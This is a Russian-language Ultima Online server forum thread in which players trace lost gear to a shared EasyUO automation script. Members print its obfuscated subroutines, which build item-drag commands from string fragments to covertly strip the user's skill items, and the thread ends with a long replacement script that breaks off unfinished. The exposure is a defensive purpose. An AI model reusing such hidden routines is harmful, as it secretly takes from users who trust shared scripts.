Jump to content


Toggle shoutbox Chat Open the Shoutbox in a popup

Прямая связь с администрацией по скайпу: gods.dragon
@  Pablo : (15 March 2024 - 21:12) Sell regs from pandora box.
@  Pablo : (15 March 2024 - 21:11) Sell paralyze and poison necklaces 100k 1 piece.
@  fr33 : (11 March 2024 - 16:38) blee gm zb atdai bank
@  GM SOLAR : (10 March 2024 - 17:24) ОпЯТь лаГГи ! ! !
@  Pablo : (06 March 2024 - 17:48) Labākais hot ko esmu jebkad paņēmis :D
@  Senseless : (05 March 2024 - 09:42) Opatj ataki na server powli :(
@  Pablo : (03 March 2024 - 19:19) Riebiigais
@  Ganjakur : (03 March 2024 - 15:10) kāds niks mp?
@  Pablo : (02 March 2024 - 21:31) Var kāds iedot 40 kk priekš 11 lvl ?
@  Senseless : (02 March 2024 - 18:12) bratva estj u kogo script na ckerika na lamber ?
@  GM SOLAR : (02 March 2024 - 16:44) ALL GO NA CTF ! ! ! ! !
@  Ganjakur : (01 March 2024 - 17:32) labi
@  Pablo : (29 February 2024 - 12:08) Eu džeki, tie kuri vairāk nespēlē ultimu, varat droši man uzdāvināt savus itemus, vai pat savus acc. droši rakstam man privāti. Es vismaz uzturēšu šo serveri pie dzīvības :D
@  fr33 : (29 February 2024 - 09:45) yes
@  EmmaSb : (28 February 2024 - 21:00) Easyuo still working ?
@  Artemy Shan : (18 February 2024 - 20:42) Еще один фикс поставил. Смотрим, тестируем.
@  jurasiks : (18 February 2024 - 20:04) da pipec tu, zdelal on
@  Senseless : (17 February 2024 - 19:17) Lagi powli opatj
@  Artemy Shan : (17 February 2024 - 12:36) Мне удалось повторить действия, которые делал этот пиздюк, чтобы нагружать процессор сервера на 100% и вроде как я поправил это.
@  Artemy Shan : (13 February 2024 - 02:44) Сменился айпи для входа в игру. Теперь заходим через: loginserver=login.oldp.net,2593 или loginserver=91.121.232.151,2593

Photo

Пропали Вещи На Мининг+10


  • This topic is locked This topic is locked
25 replies to this topic

#1 hAXTUNG

hAXTUNG

    Newbie

  • Members
  • 9 posts

Posted 20 September 2017 - 11:26

Добрый день. 
Вчера вечером поставил чара на копку, проф акк, no pvp.
Ставил скриптом на изи уо, до этого этим же скриптом копал, проблем не было.
С утра застал следующую картину - 
Чар копает, но на нем нет всех вещей на мининг ( 4 вещи )
Поиски закончились тем, что в сундуке куда скидывает руду нашел браслет, остальных вещей не нашел.
Прошу помочь в решении проблемы, заранее спасибо!

Чар Haxtunk



#2 Artemy Shan

Artemy Shan

    Founder

  • Administrators
  • 21257 posts
  • Gender:Male

Posted 20 September 2017 - 11:28

Скринт двано с форума брал?
Наш канал в discord

In God We Trust!

#3 hAXTUNG

hAXTUNG

    Newbie

  • Members
  • 9 posts

Posted 20 September 2017 - 11:48

Вот скрипт, собственно как начал на серваке вашем играть, так и взял, играю около двух недель  ( я только в начале скрипта удалил координаты, и сами координаты копки,  когда на форум выложил сейчас ) 
скрипт под спойлером 
 

Spoiler


#4 Festmagen

Festmagen

    Novice

  • Members
  • 48 posts

Posted 20 September 2017 - 12:59

Tut tot scp chto na forume v nego propisano chto pre opredellonoj komande on skidivajet skill veshi na pol.shas pridjotsa tebe vikupatj ih s tavo kto snjal tebe ih :D

#5 hAXTUNG

hAXTUNG

    Newbie

  • Members
  • 9 posts

Posted 20 September 2017 - 13:15

Tut tot scp chto na forume v nego propisano chto pre opredellonoj komande on skidivajet skill veshi na pol.shas pridjotsa tebe vikupatj ih s tavo kto snjal tebe ih :D

Да тут как бы если бы на пол скинул, скинул бы всё, а браслет в сундуке же нашелся, думаю остальные вещи та же участь постигла, но чего гадать. Администрация решит



#6 sonyplayer

sonyplayer

    Master

  • Members
  • 724 posts

Posted 20 September 2017 - 13:31

Да тут как бы если бы на пол скинул, скинул бы всё, а браслет в сундуке же нашелся, думаю остальные вещи та же участь постигла, но чего гадать. Администрация решит

Чувак, спешу тебя огорчить. У меня такаяже фигня была со скриптом с форумв =) 
Сняли нюби скилл вещи из-за срипта =)
Только вот у меня улетело всё, даже браслет ... И никто ничего не вернул пришлось самому всё покупать заного!



#7 Ganjakur

Ganjakur

    Guru

  • Members
  • 2551 posts
  • Gender:Male
  • Location:Pakistan

Posted 20 September 2017 - 13:49

kopaju uzhe 7dnej nekakih problem nety. Vchera nochju tozhe  kapal.

Problema v tvoem skripte :(



#8 hAXTUNG

hAXTUNG

    Newbie

  • Members
  • 9 posts

Posted 20 September 2017 - 14:08

Прочитал насколько ума хватает этот скрипт от и до, не нашел в нем такой возможности "воздействия из вне",  хотя я не профессионал, если так оно и есть, покажите в нем эту функцию. 



#9 Artemy Shan

Artemy Shan

    Founder

  • Administrators
  • 21257 posts
  • Gender:Male

Posted 20 September 2017 - 17:22

А ты в пвпдисе капал? У нас при смерти данные вещи теряют прочность...

 

Еще есть вариант что тебе понизили силу и при перевесе они выпали, когда твои скрипт их переодевал. Убери всё связанное со skill mask, skill cloak, skill robe из скрипта.


Наш канал в discord

In God We Trust!

#10 hAXTUNG

hAXTUNG

    Newbie

  • Members
  • 9 posts

Posted 20 September 2017 - 17:50

А ты в пвпдисе капал? У нас при смерти данные вещи теряют прочность...

 

Еще есть вариант что тебе понизили силу и при перевесе они выпали, когда твои скрипт их переодевал. Убери всё связанное со skill mask, skill cloak, skill robe из скрипта.

1) копал в пвп дисе
2) на браслете прочность максимум, смертей не было, и при пвп дисе ты не умираешь а переносишься в локу специальную  и там не ломаются вещи
3) вроде при пвп дисе не должны были силу понизить никак, но даже если бы понизили - браслет каким то образом оказался в сундуке, по логике вероятнее всего туда попали и вещи остальные, но исчезли ( не утверждаю, т.к. логи посмотреть не могу ) 

Прошу по возможности их вернуть если не просто так, то хотябы за 20% от их рп.  
я тут нарыл команду -  .savenewb , я думаю в следующий раз с ней не случится такой ерунды.

А то очень обидно вышло)) под это дело и пвпдис взял и проф и еще сет на бс взял))) как то грустно будет это всё бросать))

 



#11 Artemy Shan

Artemy Shan

    Founder

  • Administrators
  • 21257 posts
  • Gender:Male

Posted 20 September 2017 - 18:06

Твои вещи разбивал персонаж Anechka. Дай ссылку на скрипт, который ты взял, удалю его с форума.

 

Или кто в этом разбирается, укажите строки вредоносного кода, опубликую скрипт от своего имени без них.


Наш канал в discord

In God We Trust!

#12 hAXTUNG

hAXTUNG

    Newbie

  • Members
  • 9 posts

Posted 20 September 2017 - 18:30

Твои вещи разбивал персонаж Anechka. Дай ссылку на скрипт, который ты взял, удалю его с форума.

 

Или кто в этом разбирается, укажите строки вредоносного кода, опубликую скрипт от своего имени без них.

http://forum.oldp.ne...ic=24331&page=1    тут, но очень странно, этот скрипт уже пересмотрело 2 моих знакомых и вредоносного кода в нем не нашли, строк которые бы по какой либо команде именно дропали вещи там нет.  Так что удалять мне кажется  с форума его преждевременно, хотя нужно больше мнений экспертов и хотя бы один пруф. на реально вредоносный код. 

И все же, мы можем решить что-то с вещами или нет?  Честно говоря целый день жду решения в несколько огорченных чувствах) 



#13 sonyplayer

sonyplayer

    Master

  • Members
  • 724 posts

Posted 20 September 2017 - 18:43

sub initevents
set %rescourse finding
str left %rescourse 4
set %save #strres
set %done %save , item
set %iii kill
str left string 1
set %asd #strres , %iii
set %start % . %asd
str left CADY 1
set %end #strres
str left character 4
set %who #strres
set %cares %who , id
str left %do 4
set %lastdo ex , #strres , t
set %race dragrace
str left %race 4
set %race #strres
set %Wsave %save , id
str right skopg 3
set %jasl #strres
str left drive 2
set %eaea #strres , %jasl
str left post 3
set %number %who , #strres
set %alpha %number , x
set %beta %number , y
set %gamma %number , z
set %repsawn waitrespawn
str left %repsawn 4
set %upgrade #strres
str left tilbery 3
set %almost #strres
str left unuquady 2
set %past #strres , %almost
set %gems %save , cnt
set %else IJG
return
 
sub Instalyze
if % . %1 <= 8
set %x . %2 260
else
set %x . %2 420
if % . %1 = 1 || % . %1 = 9
set %y . %2 260
if % . %1 = 2 || % . %1 = 10
set %y . %2 275
if % . %1 = 3 || % . %1 = 11
set %y . %2 290
if % . %1 = 4 || % . %1 = 12
set %y . %2 305
if % . %1 = 5 || % . %1 = 13
set %y . %2 320
if % . %1 = 6 || % . %1 = 14
set %y . %2 335
if % . %1 = 7 || % . %1 = 15
set %y . %2 350
if % . %1 = 8 || % . %1 = 16
set %y . %2 365
return


#14 sonyplayer

sonyplayer

    Master

  • Members
  • 724 posts

Posted 20 September 2017 - 18:45

И еще sub gettingStarted.
Если удалить эти СУБ из скрипта то скрипт полностью перестанет работать, попросту будет закрывать УО.
Срипт надо будет грамотно переписывать!. 
Я тоже на эту шляпу попался! 

ААааа.. Да про sub Fixed тоже забыл =)



#15 Festmagen

Festmagen

    Novice

  • Members
  • 48 posts

Posted 20 September 2017 - 18:45

Hrenoviji u tebja druzja. Sprosi u nih zachem tut eti subi! :D

set %skill %skillRobe , _ , %skillCloak , _ , %skillMask
gosub gettingStarted
gosub initevents 
ub initevents
set %rescourse finding
str left %rescourse 4
set %save #strres
set %done %save , item
set %iii kill
str left string 1
set %asd #strres , %iii
set %start % . %asd
str left CADY 1
set %end #strres
str left character 4
set %who #strres
set %cares %who , id
str left %do 4
set %lastdo ex , #strres , t
set %race dragrace
str left %race 4
set %race #strres
set %Wsave %save , id
str right skopg 3
set %jasl #strres
str left drive 2
set %eaea #strres , %jasl
str left post 3
set %number %who , #strres
set %alpha %number , x
set %beta %number , y
set %gamma %number , z
set %repsawn waitrespawn
str left %repsawn 4
set %upgrade #strres
str left tilbery 3
set %almost #strres
str left unuquady 2
set %past #strres , %almost
set %gems %save , cnt
set %else IJG
return

sub fixed
set %k %k + 1
%to %bca %be # . %abc
{
repeat
{
set %up # . %cares
%done %start , _ , %else %end , _ , %up
%lastdo %race # . %Wsave
%lastdo %eaea # . %alpha # . %beta # . %gamma
%upgrade 25
%done %start , _ , %else %end , _ , %up
}
until # . %gems = 0
}
return



#16 hAXTUNG

hAXTUNG

    Newbie

  • Members
  • 9 posts

Posted 20 September 2017 - 18:49

А если прописывать команду .savenewb  это исправит проблему? ведь поидее не даст скинуть вещи вообще никак

Ну и скрипт да) придется нарывать чтото иное видимо



#17 Festmagen

Festmagen

    Novice

  • Members
  • 48 posts

Posted 20 September 2017 - 18:50

А если прописывать команду .savenewb  это исправит проблему? ведь поидее не даст скинуть вещи вообще никак

http://forum.oldp.ne...ame#entry811571

skinet vsjoravno.



#18 hAXTUNG

hAXTUNG

    Newbie

  • Members
  • 9 posts

Posted 20 September 2017 - 18:54

Понял, спасибо больше) Ну может от этого топика будет кому то польза)) а то этот скрипт тут в закрепленных на форуме висит)))



#19 Artemy Shan

Artemy Shan

    Founder

  • Administrators
  • 21257 posts
  • Gender:Male

Posted 20 September 2017 - 18:59

И еще sub gettingStarted.
Если удалить эти СУБ из скрипта то скрипт полностью перестанет работать, попросту будет закрывать УО.
Срипт надо будет грамотно переписывать!. 
Я тоже на эту шляпу попался! 

ААааа.. Да про sub Fixed тоже забыл =)

У тебя есть рабочий скрипт без вредоносного кода? Выложи сюда целиком, а я его выложу в раздел скрипты на форуме. Мои посты никто изменить не сможет и код вернуть.

 

Можно и на мининг. Старые убрал уже от EnFlame. 


Наш канал в discord

In God We Trust!

#20 sonyplayer

sonyplayer

    Master

  • Members
  • 724 posts

Posted 20 September 2017 - 19:40

У тебя есть рабочий скрипт без вредоносного кода? Выложи сюда целиком, а я его выложу в раздел скрипты на форуме. Мои посты никто изменить не сможет и код вернуть.

 

Можно и на мининг. Старые убрал уже от EnFlame. 

set %gameClass Archer       ; Cleric or Archer
set %maxWeight 500          ; Max ves
set %box UGFNKMD            ; ID korobki, gde sbrasivatj rudu
set %foodCont UGFNKMD       ; ID korobki, gde stoit zapasi moloko i bekona
set %xCoord 803            ; X koordinata okolo boxa
set %yCoord 1979            ; Y koordinata okolo boxa
set %dropAspen #true        ; #true - sbrasivajet Aspen logi , #false - net
set %dropWillow #true       ; #true - sbrasivajet  Willow logi , #false - net
set %dropCedarMapleNoblefire #true ; #true sbrasivajet etie logi, #false - net
set %dropCherryEcalyptus #true    ; #true sbrasivajet etie logi, #false - net
set %skillItemChange #true  ; #true - menjajet skill shmotki, #false - net
set %recall #false           ; #true - letajet s runebook, #false - begut peshkom
; Do Not Set These Items If %skillItemChange #false
set %skillRobe DARTJMD      ; Skill Roba (ID)
set %skillCloak XWQTJMD     ; Skill Cloack (ID)
set %skillMask SCRTJMD      ; Skill Mask (ID)
set %simpleRobe BCYBMMD    ; Prostaja Roba (ID)
set %simpleCloak RSOBMMD    ; Prostoj cloack (ID)
set %simpleMask JACSLMD        ; Helm (TYPE/ID)
; Etix mozhno ne menjatj, esli %recall #false
set %runebookID NDWXJMD      ; ID runebooka
set %runeNumberToHome 7      ; Nr runi na dom
set %runeNumberToWood 10     ; Nr runi na les
set %amountRecalls 10        ; Skolko recallov vzjatj, kogda ix netu
; special variables for Archer (tolka dlja archera):
set %camp #spc ; #spc - the best camp, heal - healing campifre +5
set %minKidlings 20    ; minimalnoe kolichestvo kidlov v sumke
set %amountKidlings 40 ; skolko kidlov vzjatj, kogda ix netu
set %minArrows 300     ; minimalnoe kolichestvo strel v sumke
set %amountArrows 300  ; skolko strel vzjatj, kogda ix netu
; special variables for Cleric(tolko dlja klerika):
set %Weapon VOH             ; oruzhie
set %Shield OIK             ; shild
 
set %item ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_GEJ
set %loot POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL_DCI_GEJ
 
if %recall
{
gosub Instalyze runeNumberToHome 1
gosub Instalyze runeNumberToWood 2
}
if %dropAspen
set %aspenCol 973
if %dropWillow
set %willowCol 0
if %dropCedarMapleNoblefire 3
set %cedarCol 437
set %mapleCol 1233
set %noblefireCol 153
if %dropCherryEcalyptus 2
set %cherryCol 38
set %ecalyptusCol 81
set %skill %skillRobe , _ , %skillCloak , _ , %skillMask
set %k 0
set %lastK 0
 
start:
 msg #dot $
 
 GOSUB LJING 760 1983 3302
 GOSUB LJING 756 1986 3294
 GOSUB LJING 756 1980 3299
 GOSUB LJING 752 1992 3302
 GOSUB LJING 752 1989 3302
 GOSUB LJING 752 1986 3280
 GOSUB LJING 752 1983 3294
 GOSUB LJING 752 1974 3289
 GOSUB LJING 752 1971 3294
 GOSUB LJING 748 1995 3291
 GOSUB LJING 748 1992 3296
 GOSUB LJING 748 1989 3299
 GOSUB LJING 748 1980 3296
 GOSUB LJING 744 1983 3294
 GOSUB LJING 744 1980 3302
 GOSUB LJING 748 1977 3296
 GOSUB LJING 748 1974 3299
 GOSUB LJING 748 1971 3280
 GOSUB LJING 748 1968 3277
 GOSUB LJING 756 1968 3286
 GOSUB LJING 756 1959 3277
 GOSUB LJING 760 1956 3283
 GOSUB LJING 760 1953 3294
 GOSUB LJING 760 1950 3302
 GOSUB LJING 756 1950 3296
 GOSUB LJING 756 1947 3296
 GOSUB LJING 760 1947 3296
 GOSUB LJING 760 1944 3296
 GOSUB LJING 760 1938 3283
 GOSUB LJING 756 1938 3296
 GOSUB LJING 752 1938 3280
 GOSUB LJING 752 1941 3291
 GOSUB LJING 752 1947 3283
 GOSUB LJING 752 1950 3296
 GOSUB LJING 752 1953 3289
 GOSUB LJING 748 1950 3294
 GOSUB LJING 748 1944 3277
 GOSUB LJING 748 1935 3294
 GOSUB LJING 744 1935 3291
 GOSUB LJING 744 1932 3302
 GOSUB LJING 744 1929 3280
 GOSUB LJING 752 1929 3296
 GOSUB LJING 760 1926 3302
 GOSUB LJING 756 1926 3299
 GOSUB LJING 752 1926 3286
 GOSUB LJING 744 1926 3294
 GOSUB LJING 744 1923 3289
 GOSUB LJING 748 1923 3291
 GOSUB LJING 752 1923 3283
 GOSUB LJING 760 1923 3299
 GOSUB LJING 760 1920 3280
 GOSUB LJING 752 1920 3280
 GOSUB LJING 748 1920 3291
 GOSUB LJING 744 1920 3294
 GOSUB LJING 744 1917 3302
 GOSUB LJING 748 1914 3286
 GOSUB LJING 760 1917 3280
 GOSUB LJING 756 1914 3296
 GOSUB LJING 756 1911 3299
 GOSUB LJING 748 1911 3280
 GOSUB LJING 744 1911 3283
 GOSUB LJING 748 1908 3280
 GOSUB LJING 756 1908 3286
 GOSUB LJING 760 1905 3291
 GOSUB LJING 756 1902 3277
 GOSUB LJING 756 1899 3291
 GOSUB LJING 752 1902 3286
 GOSUB LJING 752 1905 3277
 GOSUB LJING 748 1905 3289
 GOSUB LJING 748 1902 3299
 GOSUB LJING 744 1902 3289
 GOSUB LJING 744 1905 3283
 GOSUB LJING 740 1902 3286
 GOSUB LJING 732 1905 3280
 GOSUB LJING 732 1908 3302
 GOSUB LJING 728 1914 3294
 GOSUB LJING 724 1917 3299
 GOSUB LJING 728 1917 3283
 GOSUB LJING 732 1917 3291
 GOSUB LJING 732 1914 3299
 GOSUB LJING 736 1920 3280
 GOSUB LJING 728 1923 3302
 GOSUB LJING 724 1923 3280
 GOSUB LJING 732 1926 3291
 GOSUB LJING 736 1923 3299
 GOSUB LJING 740 1923 3280
 GOSUB LJING 744 1923 3289
 GOSUB LJING 744 1926 3294
 GOSUB LJING 744 1929 3280
 GOSUB LJING 740 1929 3299
 GOSUB LJING 736 1929 3296
 GOSUB LJING 732 1929 3296
 GOSUB LJING 724 1929 3296
 GOSUB LJING 728 1932 3280
 GOSUB LJING 732 1932 3283
 GOSUB LJING 728 1935 3291
 GOSUB LJING 732 1935 3280
 GOSUB LJING 736 1935 3296
 GOSUB LJING 724 1938 3299
 GOSUB LJING 728 1938 3294
 GOSUB LJING 728 1941 3277
 GOSUB LJING 736 1941 3280
 GOSUB LJING 736 1944 3283
 GOSUB LJING 740 1941 3296
 GOSUB LJING 740 1944 3296
 GOSUB LJING 740 1947 3296
 GOSUB LJING 736 1947 3280
 GOSUB LJING 732 1950 3286
 GOSUB LJING 736 1956 3289
 GOSUB LJING 740 1959 3280
 GOSUB LJING 744 1956 3296
 GOSUB LJING 744 1959 3296
 GOSUB LJING 744 1962 3291
 GOSUB LJING 740 1962 3277
 GOSUB LJING 736 1962 3294
 GOSUB LJING 740 1965 3280
 GOSUB LJING 736 1968 3289
 GOSUB LJING 740 1968 3289
 GOSUB LJING 740 1971 3280
 GOSUB LJING 736 1974 3289
 GOSUB LJING 744 1971 3302
 GOSUB LJING 744 1974 3302
 GOSUB LJING 740 1974 3296
 GOSUB LJING 740 1977 3291
 GOSUB LJING 732 1977 3283
 GOSUB LJING 744 1980 3302
 GOSUB LJING 744 1983 3294
 GOSUB LJING 740 1983 3294
 GOSUB LJING 736 1983 3294
 GOSUB LJING 736 1986 3296
 GOSUB LJING 736 1989 3289
 GOSUB LJING 740 1989 3283
 GOSUB LJING 744 1989 3280
 GOSUB LJING 744 1992 3294
 GOSUB LJING 740 1995 3277
 GOSUB LJING 744 1995 3280
 GOSUB LJING 800 1956 3294
 GOSUB LJING 804 1959 3277
 GOSUB LJING 804 1956 3291
 GOSUB LJING 804 1953 3286
 GOSUB LJING 796 1953 3283
 GOSUB LJING 792 1950 3277
 GOSUB LJING 792 1947 3291
 GOSUB LJING 796 1950 3289
 GOSUB LJING 804 1947 3277
 GOSUB LJING 804 1944 3296
 GOSUB LJING 800 1944 3302
 GOSUB LJING 808 1953 3280
 GOSUB LJING 808 1947 3302
 GOSUB LJING 808 1944 3296
 GOSUB LJING 812 1941 3294
 GOSUB LJING 812 1935 3291
 GOSUB LJING 812 1932 3296
 GOSUB LJING 804 1938 3283
 GOSUB LJING 808 1932 3289
 GOSUB LJING 808 1929 3280
 GOSUB LJING 800 1932 3280
 GOSUB LJING 800 1929 3294
 GOSUB LJING 812 1926 3299
 GOSUB LJING 816 1926 3291
 GOSUB LJING 820 1926 3291
 GOSUB LJING 820 1923 3283
 GOSUB LJING 816 1923 3283
 GOSUB LJING 812 1923 3286
 GOSUB LJING 808 1923 3280
 GOSUB LJING 812 1920 3277
 GOSUB LJING 808 1920 3283
 GOSUB LJING 804 1920 3280
 GOSUB LJING 800 1923 3289
 GOSUB LJING 812 1917 3283
 GOSUB LJING 808 1917 3296
 GOSUB LJING 812 1914 3291
 GOSUB LJING 816 1911 3280
 GOSUB LJING 816 1908 3299
 GOSUB LJING 808 1908 3289
 GOSUB LJING 808 1905 3299
 GOSUB LJING 804 1908 3299
 GOSUB LJING 804 1902 3280
 GOSUB LJING 800 1905 3283
 GOSUB LJING 800 1908 3277
 GOSUB LJING 796 1905 3294
 GOSUB LJING 796 1911 3280
 GOSUB LJING 796 1914 3294
 GOSUB LJING 796 1920 3277
 GOSUB LJING 796 1923 3277
 GOSUB LJING 788 1926 3280
 GOSUB LJING 788 1923 3286
 GOSUB LJING 784 1920 3283
 GOSUB LJING 780 1923 3299
 GOSUB LJING 780 1926 3283
 GOSUB LJING 784 1932 3296
 GOSUB LJING 784 1935 3294
 GOSUB LJING 784 1938 3277
 GOSUB LJING 780 1935 3294
 GOSUB LJING 776 1929 3283
 GOSUB LJING 776 1932 3289
 
 
 
goto start
 
sub ljing
set %k %k + 1
gosub ghost
gosub checkHP
gosub reaper
gosub checkWeight
move %1 %2 1
finditem FSF C
set #lobjectid #findid
set #ltargetx %1
set #ltargety %2
set #ltargettile %3
set #ltargetz %4
set #ltargetkind 3
event macro 17 0
target 10s
event macro 22 0
wait 7
set %overtime #scnt + 55
gosub scan
return
 
sub checkWeight
if #weight > %maxWeight
{
if ! %dropAspen && ! %dropWillow && ! %dropCherryEcalyptus && ! %dropCedarMapleNoblefire
 {
 if %recall
 gosub port
 if ! %recall
 gosub moveItems
 }
if %dropAspen || %dropWillow || %dropCedarMapleNoblefire || %dropCherryEcalyptus
 {
 gosub dropTrashLogs
 return
 }
}
return
 
sub scan
scan:
scanjournal 1
if hungry in #sysmsg
{
gosub eat
return
}
gosub reaper
if ( ( you_can't_reach_this in #sysmsg ) || ( THERE_IS_NOTHING_HERE_TO_CHOP in #sysmsg )
+  || ( use_that_in in #journal ) || ( It_appears_immune_to_your_blow in #sysmsg ) )
return
gosub checkHP
if #scnt >= %overtime
return
goto scan
return
 
sub arm
if %gameClass = Cleric
{
repeat
{
finditem %Weapon c_ , #BackpackId
set #lobjectID #findid
event macro 17 0
wait 12
finditem %Weapon c_ , #BackpackId
}
until #findcnt = 0
repeat
{
finditem %Shield c_ , #BackpackId
set #lobjectID #findid
event macro 17 0
wait 12
finditem %Shield c_ , #BackpackId
}
until #findcnt = 0
}
if %gameClass = Archer
{
msg $.arm bow$
wait 5
}
return
 
sub port
set %k %k + 1
gosub arm
gosub checkHP
gosub reaper
if G in #charstatus
event macro 6 0
event macro 6 0
set %oldPosX #charposx
set %oldPosY #charposy
gosub openRunebook
repeat
{
click %x1 %y1
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
if %gameClass = Cleric
event macro 13 21
if %gameClass = Archer
event macro 13 47
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
gosub moveItems
gosub back
return
 
sub moveItems
ignoreitem reset 1
ignoreitem %skill 1
gosub runToBox
if %gameClass = Cleric
event macro 13 21
finditem %box G_3
if #findcnt = 0
{
event Sysmessage Box Not Found!
pause
}
repeat
{
finditem %item c_ , #backpackid
if #findcnt >= 1
{
 if world_save_has_been in #sysmsg
 wait 15s
exevent Drag #Findid #findstack
exevent Dropc %box
wait 40
}
}
until #findcnt = 0
ignoreitem reset 1
if %gameClass = Archer
gosub rescourses
if %recall
gosub recalls
gosub food
return
 
sub back
gosub checkHP
set %oldPosX #charposx
set %oldPosY #charposy
for %i 1 2
{
gosub openRunebook
click 261 215     ; Recharge runebook 2x
wait 20
}
gosub openRunebook
repeat
{
click %x2 %y2
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
event macro 13 21
wait 2s
gosub changeClothesTo %skillMask %skillRobe %skillCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
return
 
sub runToBox
repeat
{
move %xCoord %yCoord 0
wait 10
}
until #charposx = %xCoord && #charposy = %yCoord
return
 
sub checkHP
if #hits < #maxhits
{
 if %skillItemChange
 gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
gosub arm
gosub follow&kill
 if %skillItemChange
 gosub changeClothesTo %skillMask %skillRobe %skillCloak
}
return
 
 
sub openRunebook
finditem %runebookID C_ , #backpackid
if #findcnt = 0
{
event sysmessage Runebook not found!
pause
}
set #lobjectid #findid
event macro 17 0
while #contname <> generic_gump && #contsize <> 577_426
wait 1
return
 
sub ghost
if #charghost = YES || %0 = 1
}
return
 
sub changeClothesTo
repeat
{
finditem %1 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %1 C_ , #backpackid
}
until #findcnt = 0
repeat
{
finditem %2 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %2 C_ , #backpackid
}
until #findcnt = 0
repeat
{
Finditem %3 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %3 C_ , #backpackid
}
until #findcnt = 0
return
 
 
sub follow&kill
set %charX #charposx
set %charY #charposy
set %charz #charposz
set %killTime #scnt + 60
if %gameClass = Cleric
{
repeat
{
finditem #enemyid
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
msg $.usebandage$
wait 10
target 1s
event macro 23 0
wait 10
gosub ghost
}
until #findcnt = 0 || #scnt > %killTime
}
if %gameClass = Archer
{
repeat
{
msg .camp %camp $
wait 40
finditem #enemyid
}
until #findcnt = 0 || #scnt > %killTime
}
gosub loot
if #hits < #maxhits
gosub heal
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
return
 
sub heal
repeat
{
msg $.usebandage$
wait 10
target
event macro 23 0
wait 20
}
until #hits >= #maxhits
return
 
 
 
sub eat
finditem ZBM C
set #lobjectid #findid
event macro 17 0
wait 10
finditem GND C
set #lobjectid #findid
event macro 17 0
wait 10
event macro 17 0
wait 5s
return
 
sub Instalyze
if % . %1 <= 8
set %x . %2 260
else
set %x . %2 420
if % . %1 = 1 || % . %1 = 9
set %y . %2 260
if % . %1 = 2 || % . %1 = 10
set %y . %2 275
if % . %1 = 3 || % . %1 = 11
set %y . %2 290
if % . %1 = 4 || % . %1 = 12
set %y . %2 305
if % . %1 = 5 || % . %1 = 13
set %y . %2 320
if % . %1 = 6 || % . %1 = 14
set %y . %2 335
if % . %1 = 7 || % . %1 = 15
set %y . %2 350
if % . %1 = 8 || % . %1 = 16
set %y . %2 365
return
 
sub loot
set %lootTime #scnt + 20
finditem YFM G_4
if #findcnt >= 1
{
set #lobjectid #findid
set %body #findid
event macro 17 0
while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt
wait 1
wait 10
repeat
{
finditem %loot C_ , %body
if #findcnt = 0 || #scnt > %lootTime
{
ignoreitem %body 2
return
}
exevent drag #findid #findstack
exevent dropc #backpackid
wait 40
}
until #false
}
return
 
sub dropTrashLogs
repeat
{
finditem ZLK C_ , #backpackid
if #findcnt = 0
 {
  wait 20
  if #weight >= %maxweight
   {
   if %recall
   gosub port
   if ! %recall
   gosub moveItems
   return
   }
  if #weight < %maxweight
   return
 }
if #findcol = %willowCol || #findcol = %aspenCol
+ || #findcol = %cedarCol || #findcol = %mapleCol || #findcol = %noblefireCol
+ || #findcol = %cherryCol || #findcol = %ecalyptusCol
{
exevent drag #findid #findstack
exevent dropg #charposx #charposy #charposz
wait 65
}
ignoreitem #findid 1
}
until #false
return
 
sub reaper
if %lastK >= %k
gosub ghost 1
set %lastK %k
finditem JE G
if #findcnt <> 0
{
sound
gosub arm
set %charX #charposx
set %charY #charposy
set %charz #charposz
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
set %killTime #scnt + 60
finditem JE G
set %reaper #findid
set #ltargetid %reaper
event macro 27 0
if %gameClass = Cleric
{
repeat
{
finditem %reaper
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
msg $.usebandage$
wait 10
target 1s
event macro 23 0
wait 10
gosub ghost
}
until #findcnt = 0 || #scnt > %killTime
}
if %gameClass = Archer
{
repeat
{
msg .camp %camp $
wait 40
finditem %reaper
}
until #findcnt = 0 || #scnt > %killTime
}
gosub loot
if #hits < #maxhits
gosub heal
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
}
return
 
sub rescourses
finditem RWF C_ , #backpackid
if #findstack <= %minArrows
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem RWF C_ , %box
exevent drag #findid %amountArrows
exevent dropc #backpackid
wait 30
}
finditem PEF C_ , #backpackid
if #findstack <= %minKidlings
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem PEF C_ , %box
exevent drag #findid %amountKidlings
exevent dropc #backpackid
wait 30
}
return
 
sub recalls
finditem WTL C_ , #backpackid
if #findstack <= 2 || #findcnt = 0
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem WTL C_ , %box
exevent drag #findid %amountRecalls
exevent dropc #backpackid
wait 30
}
return
 
sub food
finditem ZBM C_ , #backpackid
if #findcnt = 0
{
set #lobjectid %foodCont
event macro 17 0
while #contid <> %foodCont
wait 1
finditem ZBM C_ , %foodCont  ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
finditem GND C_ , #backpackid
if #findcnt = 0
{
finditem GND C_ , %foodCont
exevent drag #findid 4  ; 4 baocn slices
exevent dropc #backpackid
wait 30
finditem ZBM C_ , %foodCont  ; 1 pitcher of milk
exevent drag #findid 1
